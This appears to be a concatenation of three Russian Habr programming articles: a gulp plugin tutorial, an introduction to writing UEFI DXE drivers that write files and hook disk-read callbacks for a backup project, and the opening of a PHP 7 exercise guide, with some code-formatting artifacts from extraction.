-------------------
Я приведу наиболее устоявшийся шаблон построения gulp-плагинов, который используется в большинстве хороших плагинов. Детальное описание реализации моей задачи — не есть цель данной статьи. Основная цель в том, чтобы каждый мог быстро «въехать» на примере и пойти создавать свой плагин.
Итак, начнём. Предполагается, что node js уже стоит в системе глобально.
```
npm init
```
Main файл проекта пусть будет index.js. После заполнения основной информации, устанавливаем следующее
```
npm install --save through2 gulp-util vinyl
```
Первый плагин значительно упростит обработку vinyl-стримов. Второй пригодится для генерации ошибок плагином. Третий пригодится, если вы будете создавать новые vinyl-файлы, на основе входных файлов. В моей задаче он пригодится.
Займемся проектированием. Итак, я хочу получить два файла. Первый — это описание графа в формате dot для поддержки graphviz, если вдруг что. Второй — это html файл, открыв который я увижу красивый граф, нарисованный с помощью d3. Итого в моей задаче есть 3 основных действия:
1. получить массив всех ангуляр-модулей объявленных в файлах, которые примет в себя плагин
2. создать .dot файл графа на основе массива модулей
3. создать визуальное представление графа (html файл c d3-скриптом)
Создаем index.js, чистый как холст, и бросаем на него побольше красок:
```
var through = require('through2'),
gutil = require('gulp-util'),
//ты будешь извлекать массив ангуляр-модулей
ModulesReader = require('./lib/modules-reader'),
//ты будешь строить граф
GraphBuilder = require('./lib/graph-builder'),
//а ты его визуализировать
GraphVisualizer = require('./lib/graph-visualizer');
//экспортируем функцию, вызывая которую в тасках gulp, пользователь инициирует наш плагин
module.exports = function(options) {
//#section инициализация
var modulesReader;
var graphBuilder;
var graphVisualizer;
options = options || {};
if (!modulesReader) {
modulesReader = new ModulesReader();
}
if (!graphBuilder) {
graphBuilder = new GraphBuilder();
}
if (!graphVisualizer) {
graphVisualizer = new GraphVisualizer();
}
//#endsection инициализация
//функция, которую будет вызывать through для каждого файла
function bufferContents(file, enc, callback) {
if (file.isStream()) {
//бросим ошибку с помощью gulp-util
this.emit('error', new gutil.PluginError('gulp-ng-graph', 'Streams are not supported!'));
return callback();
}
if (file.isBuffer()) {
//отдадим файл на чтение нашему читателю модулей ангуляра
modulesReader.read(file.contents, enc);
}
callback();
}
//функция вызывающаяся перед закрытием стрима
function endStream(callback) {
var modules = modulesReader.getModules();
if (!modules || !modules.length) {
return;
}
//соберем dot файл и объект графа
var builderData = graphBuilder.build({
modules: modules,
dot: options.dot || 'ng-graph.dot',
});
//соберем html файл на основе объекта графа
var htmlFile = graphVisualizer.render({
graph: builderData.graph,
html: options.html || 'ng-graph.html',
});
//отправляем результат в стрим
this.push(builderData.dotFile);
this.push(htmlFile);
callback();
}
return through.obj(bufferContents, endStream);
};
```
Важно помнить, что если вы планируете возвращать обработанные входные файлы, то необходимо в функции bufferContents вызывать this.push(file) после манипуляций с контентом файла. Но если вы планируете (как в моей задаче) генерировать новые файлы на основе входных, то вам обязательно потребуется функция endStream, где стрим еще не закрыт и вы сможете добавить ваши файлы в пустой стрим.
Так как основная цель статьи — научиться писать плагины gulp на конкретном примере, то я не буду приводить здесь реализации [ModulesReader](https://github.com/k-makarov/gulp-ng-graph/blob/master/lib/modules-reader.js), [GraphBuilder](https://github.com/k-makarov/gulp-ng-graph/blob/master/lib/graph-builder.js) и [GraphVisualizaer](https://github.com/k-makarov/gulp-ng-graph/blob/master/lib/graph-visualizer.js), являющиеся специфичными для моей конкретной задачи. Если кого-то заинтересует их реализация, то добро пожаловать на [гитхаб](https://github.com/k-makarov/gulp-ng-graph)
Результат работы плагина — вот такой вот приятный граф проекта на d3 с возможностью зумирования.
 | https://habr.com/ru/post/257275/ | null | ru | null |
# Active Restore: С чего начать разработку в UEFI
Всем привет. В рамках проекта от компании Acronis со студентами Университета Иннополис (подробнее о проекте мы уже описали это [тут](https://habr.com/ru/company/acronis/blog/477658/) и [тут](https://habr.com/ru/company/acronis/blog/479524/)) мы изучали последовательность загрузки операционной системы Windows. Появилась идея исполнять логику даже до загрузки самой ОС. Следовательно, мы попробовали написать что-нибудь для общего развития, для плавного погружения в UEFI. В этой статье мы пройдем по теории и попрактикуемся с чтением и записью на диск в pre-OS среде.
В компании Acronis команд, которые занимаются UEFI, не так много, поэтому я решил разобраться в вопросе самостоятельно. К тому же есть проверенный способ получить огромное количество точных советов совершенно бесплатно и свободно — просто начать делать что-либо и выложить это в интернет. Поэтому комментарии и рекомендации под этим постом очень приветствуются! Вторая цель данного поста собрать небольшой дайджест статей о UEFI и помочь двигаться в этом направлении.
### Полезные ссылки
Для начала хочу перечислить список источников, которые мне очень помогли. Возможно вам они тоже помогут и ответят на ваши вопросы.
* В первую очередь это [UEFI and EDK II Learning and Development](https://github.com/tianocore/tianocore.github.io/wiki/UEFI%20EDKII%20Learning%20Dev) от tianocore. Прекрасно структурированный и иллюстрированный курс, который поможет понять что же происходит в момент загрузки и что такое UEFI. Если вы ищите точную теоретическую информацию по теме, вам туда. Если хочется поскорее перейти к написанию UEFI драйверов, то сразу в Lesson 3.
* Статьи на хабре [раз](https://habr.com/ru/post/338264/), [два](https://habr.com/ru/post/338404/) и [три](https://habr.com/ru/post/338634/). Автору низкий поклон. Это отличное практическое руководство без лишних сложностей для начинающих. Частично в данной статье я буду цитировать эти шедевры, хоть и с небольшими изменениями. Без этих публикаций, было бы значительно тяжелее начать.
* Для продолжающих рекомендую [эту статью](https://habr.com/ru/post/274463/) и другие этого же автора.
* Так как мы планируем писать драйвер, очень поможет [официальный гайдлайн по написанию драйвера](https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/). Наиболее правильные советы будут именно там.
* Ну и на крайний случай [спецификация](https://uefi.org/sites/default/files/resources/UEFI%20Spec%202.8B%20May%202020.pdf) UEFI.
### Немного теории
Хочу напомнить требования и цели проекта Active Restore. Мы планируем приоритизировать файлы в системе для более эффективного восстановления. Для этого нужно запуститься на максимально раннем этапе загрузки ОС. Для понимания наших возможностей в мире UEFI стоит немного углубиться в теорию о том как проходит цикл загрузки. Информация для этой части полностью взята из [этого](https://github.com/tianocore/tianocore.github.io/wiki/UEFI%20EDKII%20Learning%20Dev) источника, который я постараюсь популярно пересказать.
#### UEFI
UEFI или Unified Extensible Firmware Interface стал эволюцией Legacy BIOS. В модели UEFI тоже есть базовая система ввода-вывода для взаимодействия с железом, хотя процесс загрузки системы и стал отличаться. UEFI использует GPT (Guid partition table). GPT тесно связана со спецификацией и является более продвинутой моделью для хранения информации о разделах диска. Изменился процесс, но задачи остались прежними: инициализация устройств ввода-вывода и передача управления в код операционной системы. UEFI не только заменяет бóльшую часть функций BIOS, но также предоставляет широкий спектр возможности для разработки в pre-OS среде. Хорошее сравнение Legacy BIOS и UEFI есть [тут](https://habr.com/ru/post/404511/).
В данном представлении BIOS это компонент, обеспечивающий непосредственное общение с железом и является firmware. UEFI это унификация интерфейса железа для операционной системы, что существенно облегчает жизнь разработчикам.
В мире UEFI мы можем разрабатывать драйвера или приложения. Есть специальный подтип приложений — *загрузчики*. Разница лишь в том, что эти приложения не завершаются привычным нам образом. Завершаются они вызовом функции [ExitBootServices()](https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/5_uefi_services/readme.3/5312_exitbootservices) и передают управление в операционную систему. Чтобы принять решение какой же драйвер нужен вам, рекомендую заглянуть [сюда](https://tianocore-training.github.io/Lesson-3/), чтобы расширить понимание о протоколах и рекомендациях по их использованию.
#### Dev kits
Небольшой список того, что мы будем использовать в нашей практике:
* [EDKII](https://github.com/tianocore/edk2) (Extensible Firmware Interface Development Kit) — является свободно распространяемым проектом для разработки UEFI приложений и драйверов, которую и мы будем использовать, по началу не сильно в неё углубляясь.
* [VisualUEFI](https://github.com/ionescu007/VisualUefi) — проект облегчающий разработку в Visual Studio. Больше не нужно заморачиваться с .inf файлами и ковыряться в 100500 скриптах на Python. Все это уже сделано за вас. Внутри можно найти QEMU для запуска нашего кода. В проекте представлены примеры приложения и драйверов.
* [Coreboot](https://doc.coreboot.org/index.html) — комплексный проект для firmware. Его задача — помочь разработать решение для старта железа и передачи управления в payload (например UEFI или GRUB), который в свою очередь загрузит операционную систему. В данной статье мы не будем затрагивать coreboot. Оставим его для будущих экспериментов, когда набью руку с EDKII. Возможно правильным вектором развития будет Coreboot + Tianocore UEFI + Windows 7 x64.
#### Последовательность загрузки
Коротко разберем через какие стадии проходит наша машина, прежде чем мы видим заветный логотип операционной системы. Для этого рассмотрим следующую диаграмму:
[Ссылка](https://tianocore-training.github.io/Lesson-0/)
Процесс с момента нажатия на кнопку питания на корпусе и до полной готовности UEFI интерфейса называется Platform Initialization и делится он на несколько фаз:
* Security (SEC) — зависит от платформы и процессора, обычно реализована ассемблерными командами, проводит первоначальную инициализацию временной памяти, проверку остальной части платформы на безопасность различными способами.
* Pre EFI Initialization (PEI) — в данной фазе уже начинается работа EFI кода, главная задача — загрузка DXE Foundation который будет стартовать DXE драйверов на следующей фазе. На самом деле, тут происходит еще очень много всего, но то, что мы планируем разрабатывать, сюда не пролезет, так что двигаемся дальше.
* Driver Execution Environment (DXE) — на данном этапе начинают стартовать драйвера. Наиболее важная для нас фаза, потому, что наш драйвер тоже будет запущен тут. Данная среда исполнения драйверов и является основным преимуществом над Legacy BIOS. Тут код начинает исполняться параллельно. DXE ведет себя на манер операционной системы. Это позволяет различным компаниям имплементировать свои драйвера. DXE Foundation, развернутый на предыдущей фазе, поочередно находит драйвера, библиотеки и приложения, разворачивает их памяти и исполняет.
* После этой фазы эстафету принимает Boot Device Selection (BDS). Вы наверняка лично видели данную фазу. Тут происходит выбор на каком устройстве искать приложение — загрузчик операционной системы. После выбора начинается переход к операционной системе. DXE boot драйвера начинают выгружаться из памяти. Загрузчик операционной системы наоборот загружается в память с помощью блочного протокола ввода — вывода BLOCK\_IO. Здесь не все DXE драйвера завершают свою работу. Существуют так называемые [runtime драйвера](https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/7_driver_entry_point/711_runtime_drivers). Им придется на понятной для загруженной операционной системе нотации разметить память, которую они занимают. Иными словами [виртуализировать](https://ru.wikipedia.org/wiki/%D0%A2%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B0_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86#:~:text=%D0%92%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5%20%D0%B0%D0%B4%D1%80%D0%B5%D1%81%D0%B0%20%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D1%83%D1%8E%D1%82%D1%81%D1%8F%20%D0%B2%D1%8B%D0%BF%D0%BE%D0%BB%D0%BD%D1%8F%D1%8E%D1%89%D0%B8%D0%BC%D1%81%D1%8F%20%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%BE%D0%BC,%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%B0%20%D0%BA%20%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%BC%20%D0%B2%20%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D0%B8.) свои адреса в адресное пространство Windows, когда произойдет вызов функции [SetVirtualAddressMap()](https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/5_uefi_services/readme.3/5313_setvirtualaddressmap). Как только среда будет готова, “Main” функция ядра ОС начнет исполнение, а фаза EFI завершится вызовом [ExitBootServices()](https://edk2-docs.gitbook.io/edk-ii-uefi-driver-writer-s-guide/5_uefi_services/readme.3/5312_exitbootservices). Контроль полностью передан в операционную систему. Дальше Windows будет решать какие и откуда загрузить дайвера, как читать и писать на диск и что за файловую систему использовать. Картинка обобщающая вышеуказанную последовательность:
[Ссылка](https://uefi.org/sites/default/files/resources/UEFI-Plugfest-WindowsBootEnvironment.pdf)
Классный рассказ о этапах загрузки есть [тут](https://habr.com/ru/post/185764/).
### Подготовка проекта
Пришло время поставить перед собой простую задачу. Мы можем загрузить наш драйвер в DXE фазе, открыть файл на диске и записать в него какие — нибудь данные. Задача достаточно простая, чтобы потренироваться.
Как я уже упоминал мы воспользуемся проектом VisualUEFI, однако рекомендую также попробовать способы описанные [тут](https://habr.com/ru/post/338264/), хотя бы потому, что использовать дебагер легче в описанном по ссылке способе.
Допускаю, что у вас уже есть Visual Studio. В моем случае у меня Visual Studio 2019. Для начала клонируем себе проект VisualUEFI:
```
git clone --recurse-submodules -j8 https://github.com/ionescu007/VisualUefi.git
```
Нам понадобится [NASM](https://www.nasm.us) (<https://www.nasm.us/pub/nasm/releasebuilds/2.15.02/win64/>). Переходим и скачиваем. На момент написания статьи актуальной версией является 2.15.02. После установки убедитесь, что в переменных средах у вас есть **NASM\_PREFIX**, который указывает на папку, в которую был установлен NASM. В моем случае это *C:\Program Files\NASM\*.
Соберем **EDKII**. Для этого открываем *EDK-II.sln* из *\VisualUefi\EDK-II*, и просто жмем *build* на решении. Все проекты в решении должны успешно собраться, и можно переходить к уже готовым примерам. Открываем *samples.sln* из *\VisualUefi\samples*. Жмем *build* на приложении и драйвере, после чего можно запускать *QEMU* простым нажатием **F5**.
Проверяем наш *UefiDriver* и *UefiApplication*, именно так называются примеры в решении *samples.sln*.
```
Shell> fs1:
FS1:\> load UefiDriver.efi
```
Отлично, драйвер не только собрался, но и успешно загрузился. Выполнив команду *drivers*, мы даже увидим его в списке.
Если бы в коде мы не возвращали **EFI\_ACCESS\_DENIED** в функции *UefiUnload*, мы бы даже смогли выгрузить наш драйвер, выполнив команду:
```
FS1:\> unload BA
```
Теперь вызовем наше приложение:
```
FS1:\> UefiApplication.efi
```
### Написание кода
Рассмотрим код предоставленного нам драйвера. Все начинается с функции *UefiMain*, которая находится в файле *drvmain.c*. Мы бы могли назвать точку входа и другим именем, если бы писали драйвер “с нуля”, указать это можно было бы в *.inf* файле.
```
EFI_STATUS
EFIAPI
UefiUnload (
IN EFI_HANDLE ImageHandle
)
{
//
// Do not allow unload
//
return EFI_ACCESS_DENIED;
}
EFI_STATUS
EFIAPI
UefiMain (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
EFI_STATUS efiStatus;
//
// Install required driver binding components
//
efiStatus = EfiLibInstallDriverBindingComponentName2(ImageHandle,
SystemTable,
&gDriverBindingProtocol,
ImageHandle,
&gComponentNameProtocol,
&gComponentName2Protocol);
return efiStatus;
}
```
В проекте от нас не требуют регистрировать *Unload* функцию, так как *VisualUEFI* это и так уже делает “под капотом”, нужно просто её объявить. В примере она в этом же файле и называется **UefiUnload**. В этой функции мы можем написать код, который освободит все занятые нами ресурсы, так как она будет вызвана при выгрузке драйвера. Регистрация *Unload* функции в проекте *VisualUEFI* происходит в файле *DriverEntryPoint.c*, в функции *\_ModuleEntryPoint*.
```
// _DriverUnloadHandler manages to call UefiUnload
Status = gBS->HandleProtocol (
ImageHandle,
&gEfiLoadedImageProtocolGuid,
(VOID **)&LoadedImage
);
ASSERT_EFI_ERROR (Status);
LoadedImage->Unload = _DriverUnloadHandler;
```
В нашем примере, в функции *UefiMain*, происходит вызов функции **EfiLibInstallDriverBindingComponentName2**, которая регистрирует имя нашего драйвера и *Driver Binding Protocol*. Согласно модели драйверов UEFI, все драйвера устройств должны регистрировать этот протокол для предоставления контроллеру функций *Support*, *Start*, *Stop*. Функция *Support* отвечает, может ли наш драйвер работать с данным контроллером. Если да, то вызывается функция *Start*. Подробнее об этом хорошо описано в [спецификации](https://uefi.org/sites/default/files/resources/UEFI%20Spec%202.8B%20May%202020.pdf) (раздел Protocols — UEFI Driver Model). В нашем примере функции *Support*, *Start* и *Stop* устанавливают наш кастомный протокол. Его реализация в файле *drvpnp.c*:
```
//
// EFI Driver Binding Protocol
//
EFI_DRIVER_BINDING_PROTOCOL gDriverBindingProtocol =
{
SampleDriverSupported,
SampleDriverStart,
SampleDriverStop,
10,
NULL,
NULL
};
…
//
// Install our custom protocol on top of a new device handle
//
efiStatus = gBS->InstallMultipleProtocolInterfaces(&deviceExtension->DeviceHandle,
&gEfiSampleDriverProtocolGuid,
&deviceExtension->DeviceProtocol,
NULL);
//
// Bind the PCI I/O protocol between our new device handle and the controller
//
efiStatus = gBS->OpenProtocol(Controller,
&gEfiPciIoProtocolGuid,
(VOID**)&childPciIo,
This->DriverBindingHandle,
deviceExtension->DeviceHandle,
EFI_OPEN_PROTOCOL_BY_CHILD_CONTROLLER);
```
Фукнция **EfiLibInstallDriverBindingComponentName2** реализована в файле *UefiDriverModel.c*, и, на самом деле, очень простая. Она вызывает **InstallMultipleProtocolInterfaces** из *Boot Services* (см. [Спецификацию](https://uefi.org/sites/default/files/resources/UEFI%20Spec%202.8B%20May%202020.pdf) стр 210). Данная функция связывает handle (в нашем случае *ImageHandle*, который мы получили на точке входа) и протокол.
```
// install component name and binding
Status = gBS->InstallMultipleProtocolInterfaces (
&DriverBinding->DriverBindingHandle,
&gEfiDriverBindingProtocolGuid, DriverBinding,
&gEfiComponentNameProtocolGuid, ComponentName,
&gEfiComponentName2ProtocolGuid, ComponentName2,
NULL
);
```
Соответственно, можно, и нужно, в момент выгрузки драйвера, удалить установленные компоненты. Мы сделаем это в нашей функции *Unload*. Теперь наш драйвер можно будет выгружать по команде *unload , или перед передачей управления в операционную систему.*
```
EFI_STATUS
EFIAPI
UefiUnload (
IN EFI_HANDLE ImageHandle
)
{
gBS->UninstallMultipleProtocolInterfaces(
ImageHandle,
&gEfiDriverBindingProtocolGuid, &gDriverBindingProtocol,
&gEfiComponentNameProtocolGuid, &gComponentNameProtocol,
&gEfiComponentName2ProtocolGuid, &gComponentName2Protocol,
NULL
);
//
// Changed from access denied in order to unload in boot
//
return EFI_SUCCESS;
}
```
Как вы могли заметить, в нашем коде мы взаимодействуем с UEFI через глобальное поле **gBS** (global Boot Services). Также, существует **gRT** (global Runtime Services), а вместе они являются частью структуры **System Table**. [Источник](https://habr.com/ru/post/338404/).
```
gST = *SystemTable;
gBS = gST->BootServices;
gRT = gST->RuntimeServices;
```
Для работы с файлами нам понадобится *Simple File System Protocol* (см. [Спецификацию](https://uefi.org/sites/default/files/resources/UEFI%20Spec%202.8B%20May%202020.pdf) стр 504). Вызвав функцию *LocateProtocol*, можно получить на него указатель, хотя более правильный способ перечислить все handles на устройства файловой системы с помощью функции *LocateHandleBuffer*, и, перебрав все протоколы *Simple File System*, выбрать подходящий, который позволит нам писать и читать в файл. Пример такого кода [тут](https://github.com/LongSoft/CrScreenshotDxe/blob/master/CrScreenshotDxe.c). А мы же воспользуемся способом проще. У протокола есть всего одна функция, которая позволит нам открыть том.
```
EFI_STATUS
OpenVolume(
OUT EFI_FILE_PROTOCOL** Volume
)
{
EFI_SIMPLE_FILE_SYSTEM_PROTOCOL* fsProto = NULL;
EFI_STATUS status;
*Volume = NULL;
// get file system protocol
status = gBS->LocateProtocol(
&gEfiSimpleFileSystemProtocolGuid,
NULL,
(VOID**)&fsProto
);
if (EFI_ERROR(status))
{
return status;
}
status = fsProto->OpenVolume(
fsProto,
Volume
);
return status;
}
```
Далее, нам необходимо уметь создавать файл и закрывать его. Воспользуемся **EFI\_FILE\_PROTOCOL**, в котором есть функции для работы с файловой системой (см. [Спецификацию](https://uefi.org/sites/default/files/resources/UEFI%20Spec%202.8B%20May%202020.pdf) стр 506).
```
EFI_STATUS
OpenFile(
IN EFI_FILE_PROTOCOL* Volume,
OUT EFI_FILE_PROTOCOL** File,
IN CHAR16* Path
)
{
EFI_STATUS status;
*File = NULL;
// from root file we open file specified by path
status = Volume->Open(
Volume,
File,
Path,
EFI_FILE_MODE_CREATE |
EFI_FILE_MODE_WRITE |
EFI_FILE_MODE_READ,
0
);
return status;
}
EFI_STATUS
CloseFile(
IN EFI_FILE_PROTOCOL* File
)
{
// flush unwritten data
File->Flush(File);
// close file
File->Close(File);
return EFI_SUCCESS;
}
```
Для записи в файл нам придется вручную двигать каретку. Для этого будем спрашивать размер файла с помощью функции **GetInfo**.
```
EFI_STATUS
WriteDataToFile(
IN VOID* Buffer,
IN UINTN BufferSize,
IN EFI_FILE_PROTOCOL* File
)
{
UINTN infoBufferSize = 0;
EFI_FILE_INFO* fileInfo = NULL;
// retrieve file info to know it size
EFI_STATUS status = File->GetInfo(
File,
&gEfiFileInfoGuid,
&infoBufferSize,
(VOID*)fileInfo
);
if (EFI_BUFFER_TOO_SMALL != status)
{
return status;
}
fileInfo = AllocatePool(infoBufferSize);
if (NULL == fileInfo)
{
status = EFI_OUT_OF_RESOURCES;
return status;
}
// we need to know file size
status = File->GetInfo(
File,
&gEfiFileInfoGuid,
&infoBufferSize,
(VOID*)fileInfo
);
if (EFI_ERROR(status))
{
goto FINALLY;
}
// we move carriage to the end of the file
status = File->SetPosition(
File,
fileInfo->FileSize
);
if (EFI_ERROR(status))
{
goto FINALLY;
}
// write buffer
status = File->Write(
File,
&BufferSize,
Buffer
);
if (EFI_ERROR(status))
{
goto FINALLY;
}
// flush data
status = File->Flush(File);
FINALLY:
if (NULL != fileInfo)
{
FreePool(fileInfo);
}
return status;
}
```
Вызываем наши функции и пишем случайные данные в наш файл:
```
EFI_STATUS
WriteToFile(
VOID
)
{
CHAR16 path[] = L"\\example.txt";
EFI_FILE_PROTOCOL* file = NULL;
EFI_FILE_PROTOCOL* volume = NULL;
CHAR16 something[] = L"Hello from UEFI driver";
//
// Open file
//
EFI_STATUS status = OpenVolume(&volume);
if (EFI_ERROR(status))
{
return status;
}
status = OpenFile(volume, &file, path);
if (EFI_ERROR(status))
{
CloseFile(volume);
return status;
}
status = WriteDataToFile(something, sizeof(something), file);
CloseFile(file);
CloseFile(volume);
return status;
}
```
Есть альтернативный способ выполнить нашу задачу. В проекте VisualUEFI уже реализовано то, что мы написали выше. Мы можем просто подключить заголовочный файл *ShellLib.h* и вызвать в самом начале функцию **ShellInitialize**. Все необходимые протоколы для работы с файловой системой будут открыты, а функции **ShellOpenFileByName**, **ShellWrite** и **ShellRead** реализованы почти так же, как и у нас.
```
#include
EFI\_STATUS
WriteToFile2(
VOID
)
{
SHELL\_FILE\_HANDLE fileHandle = NULL;
CHAR16 path[] = L"fs1:\\example2.txt";
CHAR16 something[] = L"Hello from UEFI driver";
UINTN writeSize = sizeof(something);
EFI\_STATUS status = ShellInitialize();
if (EFI\_ERROR(status))
{
return status;
}
status = ShellOpenFileByName(path,
&fileHandle,
EFI\_FILE\_MODE\_CREATE |
EFI\_FILE\_MODE\_WRITE |
EFI\_FILE\_MODE\_READ,
0);
if (EFI\_ERROR(status))
{
return status;
}
status = ShellWriteFile(fileHandle, &writeSize, something);
ShellCloseFile(&fileHandle);
return status;
}
```
Результат:
→ Код этого примера на [github](https://github.com/Dabudabot/hello-uefi)
Если мы хотим перейти в VMWare, то наиболее правильным будет модификация firmware с помощью [UEFITool](https://github.com/LongSoft/UEFITool). Например [тут](https://github.com/pbatard/efifs/wiki/Adding-a-driver-to-a-UEFI-firmware) демонстрируется как добавляют NTFS драйвер в UEFI.
### Выводы
Усложнить идею нашего драйвера и ближе подвести его под требования проекта Active Restore можно следующим образом: открыть протокол **BLOCK\_IO**, заменить функции чтения на диск нашими функциями, которые запишут данные, читаемые с диска в лог и затем вызовут оригинальные функции. Сделать это можно следующим образом:
```
// just pseudo code
...
// open protocol to replace callbacks
gBS->OpenProtocol(
Controller,
Guid,
(VOID**)&protocol,
DriverBindingHandle,
Controller,
EFI_OPEN_PROTOCOL_GET_PROTOCOL
);
// raise Task Priority Level to max avaliable
gBS->RaiseTPL(TPL_NOTIFY);
VOID** protocolBase = EFI_FIELD_BY_OFFSET(VOID**, FilterContainer, 0);
VOID** oldCallback = EFI_FIELD_BY_OFFSET(VOID**, *protocolBase, oldCallbackOffset);
VOID** originalCallback = EFI_FIELD_BY_OFFSET(VOID**, FilterContainer, originalCallbackOffset);
// yes, I know that it is not super obvious
// but if first and third is equal (placeholder and function)
// then the first one is not the function it is offset!
// and function itself is by offset of third one
if ((UINTN) newCallback == originalCallbackOffset)
{
newCallback = *originalCallback;
}
PRINT_DEBUG(DEBUG_INFO, L"[UefiMonitor] 0x%x -> 0x%x\n", *oldCallback, newCallback);
//saving original functions
*originalCallback = *oldCallback;
//replacing them by filter function
*oldCallback = newCallback;
// restore TPL
gBS->RestoreTPL(oldTpl);
```
Нужно будет не забыть подписаться на **ExitBootServices()**, чтобы вернуть указатели на место. После того, как фильтр файловой системы в Windows будет готов, минифильтр продолжит логировать чтение с диска.
```
// event on exit
gBS->CreateEvent(
EVT_SIGNAL_EXIT_BOOT_SERVICES,
TPL_NOTIFY,
ExitBootServicesNotifyCallback,
NULL,
&mExitBootServicesEvent
);
```
Но это это уже идеи для будущих статей. Спасибо за внимание. | https://habr.com/ru/post/511172/ | null | ru | null |
# Руководство по PHP7
#### **php7-tutorial.com**
Цель этого [сайта](http://php7-tutorial.com/) помочь вам обнаружить нововведения в PHP 7. Это руководство представляет из себя набор простых упражнений, в которых вам будет предложено что-либо решить, либо исправить ошибку. Каждое упражнение соответствует стандарту [RFC](https://ru.wikipedia.org/wiki/RFC) (набор технической спецификации и стандартов) и сопровождается кратким пояснениями.
#### **От переводчика**
Всем привет, с вами Максим Иванов, и сегодня мы поговорим о нововведениях PHP 7, о которых более подробно поведает нам [Гийом Девар](https://twitter.com/guillaumDievart) (Guillaume Dievart) в своем руководстве, сделанном в форме упражнений. Но прежде чем начинать, я хочу отметить один момент. Я не буду приводить полное руководство по данному языку программирования в этом обзоре, просто оставлю здесь [ссылку](http://www.phptherightway.com/) на самую свежую и достоверную информацию. [Джош Локхарт](https://twitter.com/codeguy) (автор гайдлайна «PHP: правильный путь», разработчик Slim Framework), написал данную книгу с целью помочь новичкам, по его словам: «В последнее время существует много дискуссий о том, что PHP сообществу и, в целом, программистам не хватает достоверной информации по языку PHP, поэтому мое руководство призвано решить эту проблему». Чем именно? Вы знаете, что по интернету разбросано огромное количество материла по PHP, но многое уже устарело или не приводит к написанию качественного кода. В этой книге присутствуют основные актуальные сведения с ссылками на проверенные ресурсы. Если кому интересно, такое есть и по [JavaScript](http://jstherightway.org/). А теперь вернемся к упражнениям и приступим.
#### **Содержание**
1. [Упражнение 1. Измените значение переменной $phpVersion](#s1)
2. [Упражнение 2. Замените недопустимый тег](#s2)
3. [Упражнение 3. Замените устаревшую функцию](#s3)
4. [Упражнение 4. Используйте только \_\_construct()](#s4)
5. [Упражнение 5. Удалите лишние конструкции по умолчанию в switch](#s5)
6. [Упражнение 6. Используйте spaceship-оператор для сортировки массива](#s6)
7. [Упражнение 7. Используйте оператор объединения](#s7)
8. [Упражнение 8. Необходимо модифицировать условие после оператора объединения](#s8)
9. [Упражнение 9. Измените значение $b для правильной работы оператора объединения](#s9)
10. [Упражнение 10. Сгруппируйте пространства имен с одинаковым префиксом](#s10)
11. [Упражнение 11. Переименуйте метод, используя новый набор разрешенных ключевых слов](#s11)
12. [Упражнение 12. Используйте более безопасные функции для генерации случайных чисел](#s12)
13. [Упражнение 13. Используйте новую функцию preg\_replace\_callback\_array](#s13)
14. [Упражнение 14. Использовать анонимный класс](#s14)
15. [Упражнение 15. Укажите тип в аргументах функции](#s15)
16. [Упражнение 16. Модифицируйте правый операнд условия, чтобы поймать значение ожидаемого типа](#s16)
17. [Упражнение 17. Используйте строгий режим, чтобы перехватывать ошибки, когда функция получает не тот тип](#s17)
18. [Упражнение 18. Используйте строгий режим для встроенных функций](#s18)
19. [Упражнение 19. Директива strict\_types должна идти первой строкой](#s19)
20. [Упражнение 20. Укажите тип возвращаемого значения у функции](#s20)
21. [Упражнение 21. Исправьте возвращаемый тип у функции, чтобы поймать значение ожидаемого типа](#s21)
22. [Упражнение 22. Определение унаследованного класса должно возвращать один и тот же тип своего родителя](#s22)
23. [Упражнение 23. Используйте новую юникод-последовательность для описания символов](#s23)
24. [Упражнение 24. Разрешается передавать объекты в функцию unserialize()](#s24)
25. [Упражнение 25. Включите в генератор другой генератор](#s25)
26. [Упражнение 26. Воспользуйтесь замыканием функции](#s26)
27. [Упражнение 27. Вызовите переменную $c из $a](#s27)
28. [Упражнение 28. Используйте класс Error для обработки ошибок](#s28)
29. [Упражнение 29. Используйте класс TypeError для обработки ошибок](#s29)
30. [Упражнение 30. Используйте класс Throwable для обработки ошибок](#s30)
31. [Упражнение 31. Используйте класс DivisionByZeroError для обработки ошибок](#s31)
32. [Упражнение 32. Не используйте шестнадцатеричные числа в строках](#s32)
33. [Упражнение 33. Получите финальное значение генератора №1](#s33)
34. [Упражнение 34. Получите финальное значение генератора №2](#s34)
35. [Упражнение 35. Исправьте прототип (интерфейс) функции](#s35)
36. [Упражнение 36. Создайте группу констант](#s36)
#### **Песочница**
Если вы хотите протестировать некоторые примеры, воспользуйтесь [онлайн-интерпретатором](http://phptester.net/).
#### **Упражнение 1**. Измените значение переменной $phpVersion, чтобы перейти к следующему упражнению
```
php
$phpVersion = 6;
echo PHP_MAJOR_VERSION === $phpVersion ? "Next step !" : "No !";
</code
```
```
// результат
No !
```
**Решение**
```
php
$phpVersion = 7;
echo PHP_MAJOR_VERSION === $phpVersion ? "Next step !" : "No !";
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Основные причины, почему пропустили шестую версию и перешли к седьмой](https://wiki.php.net/rfc/php6#strong_reasons_of_why_we_actually_should_skip_version_6_into_7)
2. [Оператор вывода строки на экран](http://php.net/manual/ru/function.echo.php)
3. [Тернарный (условный) оператор](http://php720.com/lesson/19)
4. [Что такое мажорная и минорная версии?](http://red-book-cms.ru/poleznosti/chto-takoe-mazhornaya-i-minornaya-versii-programmnogo-obespecheniya.html)
#### **Упражнение 2**. Замените недопустимый тег
```
%
echo "Next step !";
</code
```
```
// результат
syntax error, unexpected '%', expecting end of file on line 1
```
**Решение**
```
php
echo "Next step !";
// результат
Next step !
</code
```
##### **К прочтению:**
